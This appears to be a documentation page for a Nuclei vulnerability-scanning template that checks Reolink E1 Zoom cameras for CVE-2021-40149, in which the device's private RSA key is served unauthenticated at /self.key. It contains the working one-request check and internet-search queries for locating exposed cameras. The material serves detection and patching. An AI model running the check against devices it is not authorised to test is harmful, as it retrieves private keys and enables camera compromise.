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Reolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure

ID: CVE-2021-40149

Severity: medium

Author: For3stCo1d

Tags: cve2021,cve,exposure,unauth,packetstorm,reolink,camera,iot

Description

Section titled “Description”

Reolink E1 Zoom Camera versions 3.0.0.716 and below suffer from a private key (RSA) disclosure vulnerability.

YAML Source

Section titled “YAML Source”
id: CVE-2021-40149


info:
  name: Reolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure
  author: For3stCo1d
  severity: medium
  description: |
    Reolink E1 Zoom Camera versions 3.0.0.716 and below suffer from a private key (RSA) disclosure vulnerability.
  impact: |
    An attacker can obtain the private key, potentially leading to unauthorized access and compromise of the camera.
  remediation: |
    Upgrade the Reolink E1 Zoom Camera to a version higher than 3.0.0.716 to mitigate the vulnerability.
  reference:
    - https://dl.packetstormsecurity.net/2206-exploits/reolinke1key-disclose.txt
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40149.txt
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40149
    - http://packetstormsecurity.com/files/167407/Reolink-E1-Zoom-Camera-3.0.0.716-Private-Key-Disclosure.html
    - https://github.com/MrTuxracer/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2021-40149
    cwe-id: CWE-552
    epss-score: 0.00942
    epss-percentile: 0.8308
    cpe: cpe:2.3:h:reolink:e1_zoom:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: reolink
    product: e1_zoom
    shodan-query: http.title:"Reolink"
    fofa-query: title="reolink"
    google-query: intitle:"reolink"
  tags: cve2021,cve,exposure,unauth,packetstorm,reolink,camera,iot


http:
  - method: GET
    path:
      - "{{BaseURL}}/self.key"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '(?m)^-----BEGIN PRIVATE KEY-----'


      - type: word
        part: header
        words:
          - "application/json"
          - "application/html"
        condition: and
        negative: true


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d9121d4c210e8c3486c90b46a84d2c0755a5b7ef30ddea6e2d76a28c60c500a40220762e9b7a8f9eb18d39ce2c1ef7e09a03c7a65880ced46293da00d0fefcd8f360:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-40149.yaml"

View on Github